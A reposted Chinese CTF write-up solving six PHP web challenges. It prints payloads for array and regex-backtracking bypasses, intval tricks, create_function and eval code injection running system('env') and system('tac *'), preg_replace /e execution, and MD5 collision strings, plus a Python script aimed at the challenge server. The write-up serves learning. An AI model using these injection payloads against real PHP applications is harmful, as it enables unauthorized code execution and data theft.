自学内容网 自学内容网

2024赣ctf-web -wp

1.你到底多想要flag???

首先来解决第一关:

先了解一下stripos();

并且此函数处理数组返回false。而且pre_match同样遇见数组是返回false(解释一下正则

  • i:这是正则表达式的修饰符,代表“不区分大小写”,意味着“FLAG”、“Flag”等大小写形式都会被匹配。
  • s:这是正则表达式的修饰符,代表“单行模式”,它允许.匹配包括换行符在内的任何字符。

)。所以我们传入一个数组,callme[]=flag,这里就绕过了pre_match,stripos()遇见数组放回NULL,显然不是强等于false。

然后开始第二关,解释一下正则:

第二关这里要求striops等于true,这里数组绕不开,看官方wp要利用preg_match字符串回溯绕过

import requests

url = 'http://8.136.110.121:8002/?callme[]=flag'
data = {
    'want': 'a' * 1000000 + 'flag'
}

# 发送POST请求,使用data参数传递数据
r = requests.post(url, data=data).text

# 打印服务器响应的内容
print(r)

2.include_me

file_get_contents将内容字符串读入,也以字符串返回,不会执行里面的命令,它也以伪协议绕过。include更是一个常见的文件包含函数,自然也可以用伪协议。先查目录。

目录没有查根目录。

flag文件没找

找readflag。

3.php_master

这里要先了解一下intval

PHP intval()函数详解,intval()函数漏洞原理及绕过思路_intval函数-CSDN博客

因此要实现$num==="10086"为false,intval($num,0)==10086为ture,显然传num=10086a(以数字开头,intval直接转为整数。)。(这里也可以转8或16进制编码绕过,因为intval后一个参数是0,会根据传入的类型做相应判断)

然后就是要了解create_function,可以看看此文

ctfshow web147(create_function函数命令执行) - hithub - 博客园

其实就是;}闭合前⾯的语句,然后⽤/*注释掉; 中间就是我们想要执⾏的php代码了。

所以最后就是num=10086a&code=;}system(' 命令');

这里我试了很多命令无效,最后只能env命令,其本身用于显示系统中定义的环境变量,包括用户的环境变量和系统级的环境变量。

?num=0x2766&code=;}system('env');/*

?num=10086a&code=;}system('env');/*

这里有点不理解,这只能在bp进行,hackbar不行。

4.rceme

看了代码和提示,知道flag再环境里,显然是system('ls'),但是cmd不能直接传这个,应为由于eval函数会将#fffffilm拼接到cmd参数值的两端,这会破坏system('env');命令的有效性,所以前面就用%0a(换行符)使命令不被注释,然后用_HALT_COMPILER()(让编译器停止编译的函数,当编译器执行到这之后就不再去解析后面的部分了)让后面的fffffilm失效。最终payload:

?cmd=%0asystem('env');__HALT_COMPILER();

5.

此题post提交的a,b,c就用数组绕过。

post:a[]=1&b[]=2&c[]=1

这个A_a_B.b这里需要注意一下,在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、.、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。根据代码还需要换行符绕过一下pre正则(⾮多⾏模式下, $ 会忽略在句尾的 %0a)。

get:A[a_B.b=nihao%0a

preg_replace函数看看例子。

而函数中的 /e 这个修饰符的意思就是让 正则替换之后将 replacement 参数当作 PHP 代码

所以

get:a=/1/e&b=system('tac *')&c=1

综上:

get:a=/1/e&b=system('tac *')&c=1&A[a_B.b=nihao%0a
post:a[]=1&b[]=2&c[]=1

6.ez_md5

这个game就直接数组绕过,没什么说,然后two与flag限制了字符,所以要强碰撞,这⾥使⽤⼯具fastcoll,现将我们已知的写⼊⼀个txt⽂件中,在将⽂件拖到⼯具上就会⽣成两段加密后相等的md5值了,因为会纯在不可⻅字符,所以要将⽂件编码,这⾥给出php脚本,放在统⼀⽬录下,或者指定⽂件路径也⾏。

<?php 
function readmyfile($path){
 $fh = fopen($path, "rb");
 $data = fread($fh, filesize($path));
 fclose($fh);
 return $data;
}
$a = urlencode(readmyfile("D:\网安工具\Md5collision-master\Md5collision-master\a_msg1.txt"));
$b = urlencode(readmyfile("D:\网安工具\Md5collision-master\Md5collision-master\a_msg2.txt"));//我这里直接指定路径了。
if(md5((string)urldecode($a))===md5((string)urldecode($b))){
echo $a;
}
if(urldecode($a)!=urldecode($b)){
echo $b;
}

所以payload

​
GET:
Game1[]=1&Game2[]=2&Two1=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%
EA2%81%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%
7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%
B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%
1
1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&Two=psycho%0A%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%AD
Z%AF%3C%8A%13V%B5%96%18m%A5%EA2%81%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%
D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%
D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8
%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
POST:
flag=%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
r%1EO%0BN%81%F9t%A2%17y%8CH%7F.Q%B8%ACV%A4%13%7D%A7%82%1F%F6%83%D6%29%1E%15%0D%
BA%DB%04%EC%BE%2Bs%F2%EB-
l%5B%BB%D3I%40Bf%10%1Af%A5%B5%89%D13xwsi%CD%8F%A9%D1%84%9B%12M%D3%28%05%B8%FA%1
2-
Ke%FF%C27%F1%3A%00%FA%00V%C9%DB%14%C5Qa%5D2%85%87W%B6iZ%93%C1%9Bk%D0%CFmAS%CA%C
3%AF%BA%EB%40%A5%D8Y%D9%DC%F1O%9C%84%DA%A4&f1ag=%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00r%1EO%0BN%81%F9t%A2%17y%8CH%7F.Q%B8%
ACV%A4%13%7D%A7%82%1F%F6%83%D6%29%1E%15%0D%BA%DB%04%EC%BE%2Bs%F2%EB-
l%5B%BB%D3I%40Bf%10%1Af%A5%B5%89%D13xwsi%CD%8F%A9%D1%84%9B%12M%D3%28%05%B8%FA%1
2-
Ke%FF%C27%F1%3A%00%FA%00V%C9%DB%14%C5Qa%5D2%85%87W%B6iZ%93%C1%9Bk%D0%CFmAS%CA%C
3%AF%BA%EB%40%A5%D8Y%D9%DC%F1O%9C%84%DA%A4

​

(这payload是官方的,依我的理解,第一个强碰撞txt可以不写入,第二个强碰撞txt写了play,然后因为第二个用.连接了play,所以再将碰撞后的play删了,就构成这个payload)payload仅供参考,每次碰撞结果不同。

工具:GitHub - iamjazz/Md5collision: Md5碰撞生成器

结语:赣ctf对当时的我太难了,学了一段时间才来复现,也只是复现了一些php特性的题,后面的php反序列,还要什么pop本想钻一下,靶场关了,所以复现完这些代码题结束。


原文地址:https://blog.csdn.net/2301_80915592/article/details/143360795

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!